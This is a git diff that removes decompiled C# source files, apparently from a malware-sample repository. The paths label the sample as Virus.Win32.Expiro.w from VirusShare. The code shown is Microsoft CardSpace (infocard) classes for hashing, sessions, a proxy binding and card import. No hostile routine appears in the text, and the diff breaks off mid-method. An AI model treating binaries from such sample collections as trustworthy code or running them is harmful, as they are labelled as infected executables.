readonly GlobalId Empty = (GlobalId) Guid.Empty; - private static readonly byte[] HASHPREFIX = new byte[16] - { - (byte) 126, - (byte) 85, - (byte) 219, - (byte) 17, - (byte) 52, - (byte) 221, - (byte) 70, - (byte) 150, - (byte) 168, - (byte) 123, - (byte) 15, - (byte) 254, - (byte) 196, - (byte) 77, - (byte) 155, - (byte) 168 - }; - - public GlobalId(byte[] guidBytes) - : this(new Guid(guidBytes)) - { - } - - public unsafe GlobalId(Guid guid) - { - fixed (GlobalId* globalIdPtr = &this) - *globalIdPtr = (GlobalId) guid; - } - - public byte[] ToByteArray() => ((Guid) this).ToByteArray(); - - public override int GetHashCode() => ((Guid) this).GetHashCode(); - - public override bool Equals(object obj) - { - switch (obj) - { - case GlobalId _: - case Guid _: - return (GlobalId) obj == this; - default: - return false; - } - } - - public override string ToString() => ((Guid) this).ToString("D"); - - public static bool operator !=(GlobalId a, GlobalId b) => !(a == b); - - public static unsafe bool operator ==(GlobalId a, GlobalId b) - { - byte* numPtr1 = (byte*) &a; - byte* numPtr2 = (byte*) &b; - for (int index = 0; index < sizeof (GlobalId); ++index) - { - if ((int) numPtr1[index] != (int) numPtr2[index]) - return false; - } - return true; - } - - public static unsafe implicit operator Guid(GlobalId id) => *(Guid*) &id; - - public static unsafe implicit operator GlobalId(Guid guid) => *(GlobalId*) &guid; - - public static GlobalId DeriveFrom(string value) - { - value = !string.IsNullOrEmpty(value) ? value.Trim() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (value)); - value = value.ToLower(CultureInfo.InvariantCulture); - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray = new byte[Encoding.Unicode.GetByteCount(value) + GlobalId.HASHPREFIX.Length]; - Array.Copy((Array) GlobalId.HASHPREFIX, 0, (Array) numArray, 0, GlobalId.HASHPREFIX.Length); - Encoding.Unicode.GetBytes(value, 0, value.Length, numArray, GlobalId.HASHPREFIX.Length); - byte[] hash = shA256Managed.ComputeHash(numArray); - return new GlobalId(new byte[16] - { - hash[3], - hash[2], - hash[1], - hash[0], - hash[5], - hash[4], - hash[7], - (byte) ((int) hash[6] & 15 | 48), - (byte) ((int) hash[8] & 63 | 128), - hash[9], - hash[10], - hash[11], - hash[12], - hash[13], - hash[14], - hash[15] - }); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HandleDictionary`1.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HandleDictionary`1.cs deleted file mode 100644 index 66e26339..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HandleDictionary`1.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HandleDictionary`1 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class HandleDictionary - { - private const int m_MaxSessionCount = 1073741823; - private Dictionary m_internalDictionary; - private Random m_random; - - public int MaxSize => 1073741823; - - public TVal this[int Key] - { - get => this.m_internalDictionary[Key]; - set - { - if (!this.ContainsHandle(Key)) - throw InfoCardTrace.ThrowHelperError((Exception) new KeyNotFoundException()); - this.m_internalDictionary[Key] = value; - } - } - - public HandleDictionary() - { - this.m_internalDictionary = new Dictionary(); - this.m_random = new Random(); - } - - public int GetNewHandle() - { - if (this.m_internalDictionary.Count >= 1073741823) - throw InfoCardTrace.ThrowHelperError((Exception) new MaxSessionCountExceededException()); - int key = this.m_random.Next(); - while (this.m_internalDictionary.ContainsKey(key) || key == 0) - key = this.m_random.Next(); - this.m_internalDictionary[key] = default (TVal); - return key; - } - - public bool Remove(int key) => this.m_internalDictionary.Remove(key); - - public bool ContainsHandle(int key) => this.m_internalDictionary.ContainsKey(key); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashCoreRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashCoreRequest.cs deleted file mode 100644 index 19e54b07..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashCoreRequest.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashCoreRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashCoreRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - - public HashCoreRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() - { - try - { - ((HashCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).HashCore(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashCryptoSession.cs deleted file mode 100644 index af3b5185..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashCryptoSession.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashCryptoSession : CryptoSession - { - private KeyedHashAlgorithm m_hash; - - public HashCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - KeyedHashAlgorithm hash) - : base(process, expiration, identity, (object) hash, CryptoSession.SessionType.Hash) - { - this.m_hash = hash; - } - - protected override void OnDispose() - { - this.m_hash.Clear(); - this.m_hash.Dispose(); - this.m_hash = (KeyedHashAlgorithm) null; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_hash.HashSize); - bwriter.Write(this.m_hash.InputBlockSize); - bwriter.Write(this.m_hash.OutputBlockSize); - bwriter.Write(this.m_hash.CanTransformMultipleBlocks); - bwriter.Write(this.m_hash.CanReuseTransform); - } - - public void HashCore(byte[] inData) => this.m_hash.TransformBlock(inData, 0, inData.Length, (byte[]) null, 0); - - public byte[] HashFinal(byte[] inData) - { - try - { - this.m_hash.TransformFinalBlock(inData, 0, inData.Length); - } - finally - { - this.m_hash.Initialize(); - } - return this.m_hash.Hash; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashFinalRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashFinalRequest.cs deleted file mode 100644 index e8e1f260..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashFinalRequest.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashFinalRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashFinalRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - - public HashFinalRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlock = ((HashCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).HashFinal(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashUtility.cs deleted file mode 100644 index 7632a9f6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashUtility.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal static class HashUtility - { - public const string HashAlgorithmName = "SHA256"; - private static object s_lock = new object(); - private static SHA256Managed s_hasher = new SHA256Managed(); - - public static int HashBitLength => HashUtility.s_hasher.HashSize; - - public static int HashBufferLength => HashUtility.HashBitLength / 8; - - public static void SetHashValue(byte[] data, int dataIndex, byte[] dataToHash) - { - if (dataToHash == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (dataToHash)); - HashUtility.SetHashValue(data, dataIndex, dataToHash, 0, dataToHash.Length); - } - - public static void SetHashValue( - byte[] data, - int dataIndex, - byte[] dataToHash, - int dataToHashIndex, - int dataToHashSize) - { - if (data == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - if (dataIndex < 0 || dataIndex >= data.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataIndex), (object) dataIndex, SR.GetString("StoreHashUtilityDataOutOfRange"))); - if (dataToHash == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (dataToHash)); - if (dataToHashIndex < 0 || dataToHashIndex > dataToHash.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataToHashIndex), (object) dataToHashIndex, SR.GetString("StoreHashUtilityDataToHashOutOfRange"))); - if (dataToHashSize < 0 || dataToHashSize > dataToHash.Length - dataToHashIndex) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataToHashIndex), (object) dataToHashIndex, SR.GetString("StoreHashUtilityDataToHashOutOfRange"))); - byte[] sourceArray = (byte[]) null; - lock (HashUtility.s_lock) - sourceArray = HashUtility.s_hasher.ComputeHash(dataToHash, dataToHashIndex, dataToHashSize); - Array.Copy((Array) sourceArray, 0, (Array) data, dataIndex, sourceArray.Length); - Array.Clear((Array) sourceArray, 0, sourceArray.Length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs deleted file mode 100644 index c9934c56..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HttpProxyTransportBindingElement -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Net; -using System.ServiceModel.Channels; - -namespace Microsoft.InfoCards -{ - internal class HttpProxyTransportBindingElement : TransportBindingElement - { - private HttpTransportBindingElement innerHttpTransport; - private IWebProxy proxy; - - public static BindingElementCollection ReplaceHttpTransportWithProxy( - BindingElementCollection bindingElements, - IWebProxy proxy, - bool turnOffClientAuthOnTransport) - { - int index1 = -1; - for (int index2 = 0; index2 < bindingElements.Count; ++index2) - { - if (bindingElements[index2] is HttpTransportBindingElement) - { - index1 = index2; - break; - } - } - if (index1 == -1) - return bindingElements; - InfoCardTrace.Assert(index1 == bindingElements.Count - 1, "Transport should be last in the Binding Element list"); - HttpTransportBindingElement bindingElement = (HttpTransportBindingElement) bindingElements[index1]; - if (turnOffClientAuthOnTransport) - bindingElement.AuthenticationScheme = AuthenticationSchemes.Anonymous; - HttpProxyTransportBindingElement transportBindingElement = new HttpProxyTransportBindingElement(proxy, bindingElement); - bindingElements[index1] = (BindingElement) transportBindingElement; - return bindingElements; - } - - private HttpProxyTransportBindingElement( - IWebProxy proxy, - HttpTransportBindingElement innerHttpTransport) - { - this.innerHttpTransport = innerHttpTransport; - this.proxy = proxy; - } - - private HttpProxyTransportBindingElement(HttpProxyTransportBindingElement elementToBeCloned) - : base((TransportBindingElement) elementToBeCloned) - { - this.innerHttpTransport = elementToBeCloned.innerHttpTransport; - this.proxy = elementToBeCloned.proxy; - } - - public override long MaxBufferPoolSize - { - get => this.innerHttpTransport.MaxBufferPoolSize; - set => this.innerHttpTransport.MaxBufferPoolSize = value; - } - - public override long MaxReceivedMessageSize - { - get => this.innerHttpTransport.MaxReceivedMessageSize; - set => this.innerHttpTransport.MaxReceivedMessageSize = value; - } - - public override string Scheme => this.innerHttpTransport.Scheme; - - public override IChannelFactory BuildChannelFactory( - BindingContext context) - { - this.innerHttpTransport.Proxy = this.proxy; - return this.innerHttpTransport.BuildChannelFactory(context); - } - - public override IChannelListener BuildChannelListener( - BindingContext context) - { - return this.innerHttpTransport.BuildChannelListener(context); - } - - public override bool CanBuildChannelFactory(BindingContext context) => this.innerHttpTransport.CanBuildChannelFactory(context); - - public override bool CanBuildChannelListener(BindingContext context) => this.innerHttpTransport.CanBuildChannelListener(context); - - public override BindingElement Clone() => (BindingElement) new HttpProxyTransportBindingElement(this); - - public override T GetProperty(BindingContext context) => this.innerHttpTransport.GetProperty(context); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IAccessibilityHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IAccessibilityHelper.cs deleted file mode 100644 index c0efd08b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IAccessibilityHelper.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IAccessibilityHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal interface IAccessibilityHelper - { - void Stop(); - - void RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity); - - bool RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ICanonicalizer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ICanonicalizer.cs deleted file mode 100644 index c8ef8066..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ICanonicalizer.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ICanonicalizer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal interface ICanonicalizer - { - bool CanCanonicalize(object obj); - - byte[] Canonicalize(object obj); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ITokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ITokenFactory.cs deleted file mode 100644 index b55f0d5d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ITokenFactory.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ITokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal interface ITokenFactory - { - void Abort(); - - TokenDescriptor CreateToken( - InfoCard card, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IdentityValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IdentityValidationException.cs deleted file mode 100644 index 92cc9927..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IdentityValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IdentityValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class IdentityValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413885; - - public IdentityValidationException() - : base(-1073413885) - { - } - - public IdentityValidationException(string message) - : base(-1073413885, message) - { - } - - public IdentityValidationException(string message, Exception inner) - : base(-1073413885, message, inner) - { - } - - protected IdentityValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413885, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportException.cs deleted file mode 100644 index 0f2f881e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ImportException : InfoCardBaseException - { - private const int HRESULT = -1073413884; - - public ImportException() - : base(-1073413884) - { - } - - public ImportException(string message) - : base(-1073413884, message) - { - } - - public ImportException(string message, Exception inner) - : base(-1073413884, message, inner) - { - } - - protected ImportException(SerializationInfo si, StreamingContext sc) - : base(-1073413884, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportFileRequest.cs deleted file mode 100644 index 3f9ae2c2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportFileRequest.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class ImportFileRequest : UIAgentRequest - { - public ImportFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - RoamingStoreFile context = this.ParentRequest.GetContext(); - if (context == null) - return; - if (context.Cards == null) - return; - try - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - foreach (InfoCard card in (IEnumerable) context.Cards) - { - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(card.Id.ToString()) - }) - }.ToArray()); - if (singleRow != null) - { - using (MemoryStream memoryStream = new MemoryStream(singleRow.GetDataField())) - { - if (new InfoCard((Stream) memoryStream).LastUpdate < card.LastUpdate) - { - card.IsImported = true; - card.InstalledOn = DateTime.Now; - card.Save(connection); - } - } - } - else - { - card.IsImported = true; - card.InstalledOn = DateTime.Now; - card.Save(connection); - } - } - connection.CommitTransaction(); - AuditLog.AuditStoreImport(); - } - catch (Exception ex) - { - connection.RollbackTransaction(); - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - finally - { - connection.Close(); - } - } - finally - { - context.Clear(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportRequest.cs deleted file mode 100644 index 4425934e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportRequest.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ImportRequest : ClientUIRequest - { - private FileStream m_importFile; - private string m_filename; - - public ImportRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.Import, ExceptionList.AllNonFatal) - { - } - - public string ImportedFile => this.m_filename; - - protected override void OnMarshalInArgs() - { - string path = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - if (string.IsNullOrEmpty(path) || path.Length > 259) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFileName"))); - 